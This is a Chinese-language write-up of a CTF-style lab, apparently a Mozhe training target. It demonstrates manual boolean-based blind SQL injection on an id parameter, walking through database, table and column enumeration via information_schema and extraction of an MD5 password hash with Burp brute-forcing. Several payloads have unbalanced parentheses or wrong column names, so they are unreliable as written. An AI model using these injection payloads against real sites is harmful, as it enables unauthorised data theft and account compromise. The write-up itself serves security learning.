拿到题目之后打开网站发现如下界面 本以为是输入框存在注入,结果发现并不是,而是下面一段小字,发现存在id=1的字样
手工注入:
前置知识!!! 1.information_schema.schemata 该表存储了数据库所有数据**库 **名 其中schema_name为数据库的库名存在此表中
2.information_schema.tables该表在存储了数据库中的所有**表 **名 table_schema 为数据库名 table_name为数据表名 table_rows为行的粗略估计 table_length记录表的大小
1.判断注入点:
首先应该判断是否有闭合字符,当输入and 1=1 界面正常,and 1=2 时界面错误,说明无闭合字符,为数字型注入。
2.爆破数据库:
因为已经知道数据库为mysql,则接下来爆数据库
一般用到的函数:
. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
ascii(),将字符转为 ascii 值
and length(database())>5 利用二分法或者burp爆破模块跑出数据库的字段数为10,接下来爆破数据库名称 ascii(substr(database(),1,1))=48 通过burp爆破一般情况下跑48-127,来爆破出数据库名称:stormgroup ps:导出名称的时候先将1250长字段标红,接下来筛选出高字段,接下来payload的降序一下,这样就是顺序,再导出payload2,这就是字段的ASCII值,之后转换就可以得到字段名称了
3.爆破数据表
1.爆破数据表:先跑出一共几个表 id=1 and (select count (table_name) from information_schema.tables where schema_name=database())=1
2.共两个表,接下来跑表的长度 id=1 and length((select table_name from information_schema.tables where schema_name=database() limit 0,1))=1 ps:这里注意要有两个括号,一个为length()函数自身括号,另一个为包裹查询这整个sql语句
3.两个表长度都为6,接下来爆表名 id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1,1)=1
ps id=1 and ascii(substr(select table_name from information_schema.tables where schema_name=database() limit 0,1),1 ,1)=48 用burp跑这两个字段 下面同理
得到表名为**member 和notice **
4.爆破字段
1.跑出每个表中有几个字段 (select count(column_name) from information_schema.columns where table_name='member')=1 得出第一张表有3个字段,第二章表有4个字段。
length((select column_name from information_schema.columns where table_name="member" limit 0,1))=1 得到member三个字段的长度分别为**4 8 6 而notice字段的长度分别为2 5 7 4 **
2.接下来字段名称 ascii(substr((select column_name from information_schema.columns where table_name="member" limit 0,1), 1,1)) 得到member字段分别为name, password, status, 而notice字段分别为id, title, 3.同导出数据库名称一样越burp跑出共7个字段名 得到**member 字段为name, password, status, ** 而**notice 字段分别为id, title, content, time **
4.判断password字段数,因为一般mysql都为md5加密,会很长,当然也可以在跑字段的时候password设置的长度大一点 length((select password from member limit 1,1))>5 之后爆破**name 和password **字段
name都是mozhe,但password为32位md5值,共两个数据,跑出md5后转换一下,得到用户名与密码,进行最开始的登录界面,第一组用户显示被进禁止,第二组可以进入,并得到最后key值,key值为动态的,需要自己破解跑哦。
|